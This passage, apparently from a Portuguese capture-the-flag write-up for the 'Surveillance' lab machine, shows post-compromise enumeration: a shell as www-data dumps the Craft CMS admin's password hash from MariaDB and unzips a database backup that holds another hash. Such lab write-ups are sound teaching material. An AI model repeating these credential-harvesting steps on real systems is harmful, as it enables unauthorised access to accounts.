&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;systemmessages&lt;/span&gt;             &lt;span class="o"&gt;|&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;taggroups&lt;/span&gt;                  &lt;span class="o"&gt;|&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;tags&lt;/span&gt;                       &lt;span class="o"&gt;|&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;tokens&lt;/span&gt;                     &lt;span class="o"&gt;|&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;usergroups&lt;/span&gt;                 &lt;span class="o"&gt;|&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;usergroups_users&lt;/span&gt;           &lt;span class="o"&gt;|&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;userpermissions&lt;/span&gt;            &lt;span class="o"&gt;|&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;userpermissions_usergroups&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;userpermissions_users&lt;/span&gt;      &lt;span class="o"&gt;|&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;userpreferences&lt;/span&gt;            &lt;span class="o"&gt;|&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;users&lt;/span&gt;                      &lt;span class="o"&gt;|&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;volumefolders&lt;/span&gt;              &lt;span class="o"&gt;|&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;volumes&lt;/span&gt;                    &lt;span class="o"&gt;|&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;widgets&lt;/span&gt;                    &lt;span class="o"&gt;|&lt;/span&gt;
&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="c1"&gt;----------------------------+&lt;/span&gt;
&lt;span class="mi"&gt;63&lt;/span&gt; &lt;span class="k"&gt;rows&lt;/span&gt; &lt;span class="k"&gt;in&lt;/span&gt; &lt;span class="k"&gt;set&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;001&lt;/span&gt; &lt;span class="n"&gt;sec&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="n"&gt;MariaDB&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;craftdb&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="k"&gt;desc&lt;/span&gt; &lt;span class="n"&gt;users&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="c1"&gt;----------------------------+---------------------+------+-----+---------+-------+&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;Field&lt;/span&gt;                      &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="k"&gt;Type&lt;/span&gt;                &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="k"&gt;Null&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="k"&gt;Key&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="k"&gt;Default&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;Extra&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt;
&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="c1"&gt;----------------------------+---------------------+------+-----+---------+-------+&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;id&lt;/span&gt;                         &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="nb"&gt;int&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;11&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;             &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="k"&gt;NO&lt;/span&gt;   &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;PRI&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="k"&gt;NULL&lt;/span&gt;    &lt;span class="o"&gt;|&lt;/span&gt;       &lt;span class="o"&gt;|&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;photoId&lt;/span&gt;                    &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="nb"&gt;int&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;11&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;             &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;YES&lt;/span&gt;  &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;MUL&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="k"&gt;NULL&lt;/span&gt;    &lt;span class="o"&gt;|&lt;/span&gt;       &lt;span class="o"&gt;|&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;active&lt;/span&gt;                     &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="nb"&gt;tinyint&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;          &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="k"&gt;NO&lt;/span&gt;   &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;MUL&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;       &lt;span class="o"&gt;|&lt;/span&gt;       &lt;span class="o"&gt;|&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;pending&lt;/span&gt;                    &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="nb"&gt;tinyint&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;          &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="k"&gt;NO&lt;/span&gt;   &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;MUL&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;       &lt;span class="o"&gt;|&lt;/span&gt;       &lt;span class="o"&gt;|&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;locked&lt;/span&gt;                     &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="nb"&gt;tinyint&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;          &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="k"&gt;NO&lt;/span&gt;   &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;MUL&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;       &lt;span class="o"&gt;|&lt;/span&gt;       &lt;span class="o"&gt;|&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;suspended&lt;/span&gt;                  &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="nb"&gt;tinyint&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;          &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="k"&gt;NO&lt;/span&gt;   &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;MUL&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;       &lt;span class="o"&gt;|&lt;/span&gt;       &lt;span class="o"&gt;|&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="k"&gt;admin&lt;/span&gt;                      &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="nb"&gt;tinyint&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;          &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="k"&gt;NO&lt;/span&gt;   &lt;span class="o"&gt;|&lt;/span&gt;     &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;       &lt;span class="o"&gt;|&lt;/span&gt;       &lt;span class="o"&gt;|&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;username&lt;/span&gt;                   &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="nb"&gt;varchar&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;255&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;        &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;YES&lt;/span&gt;  &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;MUL&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="k"&gt;NULL&lt;/span&gt;    &lt;span class="o"&gt;|&lt;/span&gt;       &lt;span class="o"&gt;|&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;fullName&lt;/span&gt;                   &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="nb"&gt;varchar&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;255&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;        &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;YES&lt;/span&gt;  &lt;span class="o"&gt;|&lt;/span&gt;     &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="k"&gt;NULL&lt;/span&gt;    &lt;span class="o"&gt;|&lt;/span&gt;       &lt;span class="o"&gt;|&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;firstName&lt;/span&gt;                  &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="nb"&gt;varchar&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;255&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;        &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;YES&lt;/span&gt;  &lt;span class="o"&gt;|&lt;/span&gt;     &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="k"&gt;NULL&lt;/span&gt;    &lt;span class="o"&gt;|&lt;/span&gt;       &lt;span class="o"&gt;|&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;lastName&lt;/span&gt;                   &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="nb"&gt;varchar&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;255&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;        &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;YES&lt;/span&gt;  &lt;span class="o"&gt;|&lt;/span&gt;     &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="k"&gt;NULL&lt;/span&gt;    &lt;span class="o"&gt;|&lt;/span&gt;       &lt;span class="o"&gt;|&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;email&lt;/span&gt;                      &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="nb"&gt;varchar&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;255&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;        &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;YES&lt;/span&gt;  &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;MUL&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="k"&gt;NULL&lt;/span&gt;    &lt;span class="o"&gt;|&lt;/span&gt;       &lt;span class="o"&gt;|&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;password&lt;/span&gt;                   &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="nb"&gt;varchar&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;255&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;        &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;YES&lt;/span&gt;  &lt;span class="o"&gt;|&lt;/span&gt;     &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="k"&gt;NULL&lt;/span&gt;    &lt;span class="o"&gt;|&lt;/span&gt;       &lt;span class="o"&gt;|&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;lastLoginDate&lt;/span&gt;              &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="nb"&gt;datetime&lt;/span&gt;            &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;YES&lt;/span&gt;  &lt;span class="o"&gt;|&lt;/span&gt;     &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="k"&gt;NULL&lt;/span&gt;    &lt;span class="o"&gt;|&lt;/span&gt;       &lt;span class="o"&gt;|&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;lastLoginAttemptIp&lt;/span&gt;         &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="nb"&gt;varchar&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;45&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;         &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;YES&lt;/span&gt;  &lt;span class="o"&gt;|&lt;/span&gt;     &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="k"&gt;NULL&lt;/span&gt;    &lt;span class="o"&gt;|&lt;/span&gt;       &lt;span class="o"&gt;|&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;invalidLoginWindowStart&lt;/span&gt;    &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="nb"&gt;datetime&lt;/span&gt;            &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;YES&lt;/span&gt;  &lt;span class="o"&gt;|&lt;/span&gt;     &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="k"&gt;NULL&lt;/span&gt;    &lt;span class="o"&gt;|&lt;/span&gt;       &lt;span class="o"&gt;|&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;invalidLoginCount&lt;/span&gt;          &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="nb"&gt;tinyint&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="nb"&gt;unsigned&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;YES&lt;/span&gt;  &lt;span class="o"&gt;|&lt;/span&gt;     &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="k"&gt;NULL&lt;/span&gt;    &lt;span class="o"&gt;|&lt;/span&gt;       &lt;span class="o"&gt;|&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;lastInvalidLoginDate&lt;/span&gt;       &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="nb"&gt;datetime&lt;/span&gt;            &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;YES&lt;/span&gt;  &lt;span class="o"&gt;|&lt;/span&gt;     &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="k"&gt;NULL&lt;/span&gt;    &lt;span class="o"&gt;|&lt;/span&gt;       &lt;span class="o"&gt;|&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;lockoutDate&lt;/span&gt;                &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="nb"&gt;datetime&lt;/span&gt;            &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;YES&lt;/span&gt;  &lt;span class="o"&gt;|&lt;/span&gt;     &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="k"&gt;NULL&lt;/span&gt;    &lt;span class="o"&gt;|&lt;/span&gt;       &lt;span class="o"&gt;|&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;hasDashboard&lt;/span&gt;               &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="nb"&gt;tinyint&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;          &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="k"&gt;NO&lt;/span&gt;   &lt;span class="o"&gt;|&lt;/span&gt;     &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;       &lt;span class="o"&gt;|&lt;/span&gt;       &lt;span class="o"&gt;|&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;verificationCode&lt;/span&gt;           &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="nb"&gt;varchar&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;255&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;        &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;YES&lt;/span&gt;  &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;MUL&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="k"&gt;NULL&lt;/span&gt;    &lt;span class="o"&gt;|&lt;/span&gt;       &lt;span class="o"&gt;|&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;verificationCodeIssuedDate&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="nb"&gt;datetime&lt;/span&gt;            &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;YES&lt;/span&gt;  &lt;span class="o"&gt;|&lt;/span&gt;     &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="k"&gt;NULL&lt;/span&gt;    &lt;span class="o"&gt;|&lt;/span&gt;       &lt;span class="o"&gt;|&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;unverifiedEmail&lt;/span&gt;            &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="nb"&gt;varchar&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;255&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;        &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;YES&lt;/span&gt;  &lt;span class="o"&gt;|&lt;/span&gt;     &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="k"&gt;NULL&lt;/span&gt;    &lt;span class="o"&gt;|&lt;/span&gt;       &lt;span class="o"&gt;|&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;passwordResetRequired&lt;/span&gt;      &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="nb"&gt;tinyint&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;          &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="k"&gt;NO&lt;/span&gt;   &lt;span class="o"&gt;|&lt;/span&gt;     &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;       &lt;span class="o"&gt;|&lt;/span&gt;       &lt;span class="o"&gt;|&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;lastPasswordChangeDate&lt;/span&gt;     &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="nb"&gt;datetime&lt;/span&gt;            &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;YES&lt;/span&gt;  &lt;span class="o"&gt;|&lt;/span&gt;     &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="k"&gt;NULL&lt;/span&gt;    &lt;span class="o"&gt;|&lt;/span&gt;       &lt;span class="o"&gt;|&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;dateCreated&lt;/span&gt;                &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="nb"&gt;datetime&lt;/span&gt;            &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="k"&gt;NO&lt;/span&gt;   &lt;span class="o"&gt;|&lt;/span&gt;     &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="k"&gt;NULL&lt;/span&gt;    &lt;span class="o"&gt;|&lt;/span&gt;       &lt;span class="o"&gt;|&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;dateUpdated&lt;/span&gt;                &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="nb"&gt;datetime&lt;/span&gt;            &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="k"&gt;NO&lt;/span&gt;   &lt;span class="o"&gt;|&lt;/span&gt;     &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="k"&gt;NULL&lt;/span&gt;    &lt;span class="o"&gt;|&lt;/span&gt;       &lt;span class="o"&gt;|&lt;/span&gt;
&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="c1"&gt;----------------------------+---------------------+------+-----+---------+-------+&lt;/span&gt;
&lt;span class="mi"&gt;27&lt;/span&gt; &lt;span class="k"&gt;rows&lt;/span&gt; &lt;span class="k"&gt;in&lt;/span&gt; &lt;span class="k"&gt;set&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;001&lt;/span&gt; &lt;span class="n"&gt;sec&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="n"&gt;MariaDB&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;craftdb&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="k"&gt;select&lt;/span&gt; &lt;span class="k"&gt;admin&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;username&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;email&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;password&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="n"&gt;users&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="c1"&gt;-------+----------+------------------------+--------------------------------------------------------------+&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="k"&gt;admin&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;username&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;email&lt;/span&gt;                  &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;password&lt;/span&gt;                                                     &lt;span class="o"&gt;|&lt;/span&gt;
&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="c1"&gt;-------+----------+------------------------+--------------------------------------------------------------+&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt;     &lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="k"&gt;admin&lt;/span&gt;    &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="k"&gt;admin&lt;/span&gt;&lt;span class="o"&gt;@&lt;/span&gt;&lt;span class="n"&gt;surveillance&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;htb&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="err"&gt;$&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="n"&gt;y&lt;/span&gt;&lt;span class="err"&gt;$&lt;/span&gt;&lt;span class="mi"&gt;13&lt;/span&gt;&lt;span class="err"&gt;$&lt;/span&gt;&lt;span class="n"&gt;FoVGcLXXNe81B6x9bKry9OzGSSIYL7&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;ObcmQ0CXtgw&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;EpuNcx8tGe&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt;
&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="c1"&gt;-------+----------+------------------------+--------------------------------------------------------------+&lt;/span&gt;
&lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="k"&gt;row&lt;/span&gt; &lt;span class="k"&gt;in&lt;/span&gt; &lt;span class="k"&gt;set&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;000&lt;/span&gt; &lt;span class="n"&gt;sec&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;No entanto, não tivemos sucesso tentando quebrar a hash de usuário.&lt;br&gt;&lt;br&gt;
Continuando a enumeração localizamos um arquivo de backup do banco de dados:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="o"&gt;(&lt;/span&gt;remote&lt;span class="o"&gt;)&lt;/span&gt; www-data@surveillance:/var/www/html/craft/storage&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;cd &lt;/span&gt;backups/
&lt;span class="o"&gt;(&lt;/span&gt;remote&lt;span class="o"&gt;)&lt;/span&gt; www-data@surveillance:/var/www/html/craft/storage/backups&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;ls&lt;/span&gt; &lt;span class="nt"&gt;-alh&lt;/span&gt;
total 28K
drwxrwxr-x 2 www-data www-data 4.0K Oct 17 20:33 &lt;span class="nb"&gt;.&lt;/span&gt;
drwxr-xr-x 6 www-data www-data 4.0K Oct 11 20:12 ..
&lt;span class="nt"&gt;-rw-r--r--&lt;/span&gt; 1 root     root      20K Oct 17 20:33 surveillance--2023-10-17-202801--v4.4.14.sql.zip
&lt;span class="o"&gt;(&lt;/span&gt;remote&lt;span class="o"&gt;)&lt;/span&gt; www-data@surveillance:/var/www/html/craft/storage/backups&lt;span class="nv"&gt;$ &lt;/span&gt;unzip surveillance--2023-10-17-202801--v4.4.14.sql.zip
Archive:  surveillance--2023-10-17-202801--v4.4.14.sql.zip
  inflating: surveillance--2023-10-17-202801--v4.4.14.sql
&lt;span class="o"&gt;(&lt;/span&gt;remote&lt;span class="o"&gt;)&lt;/span&gt; www-data@surveillance:/var/www/html/craft/storage/backups&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;ls&lt;/span&gt; &lt;span class="nt"&gt;-alh&lt;/span&gt;
total 140K
drwxrwxr-x 2 www-data www-data 4.0K Dec 12 02:17 &lt;span class="nb"&gt;.&lt;/span&gt;
drwxr-xr-x 6 www-data www-data 4.0K Oct 11 20:12 ..
&lt;span class="nt"&gt;-rw-r--r--&lt;/span&gt; 1 www-data www-data 111K Oct 17 20:33 surveillance--2023-10-17-202801--v4.4.14.sql
&lt;span class="nt"&gt;-rw-r--r--&lt;/span&gt; 1 root     root      20K Oct 17 20:33 surveillance--2023-10-17-202801--v4.4.14.sql.zip

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;E aqui temos outro tipo de hash para o usuário:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
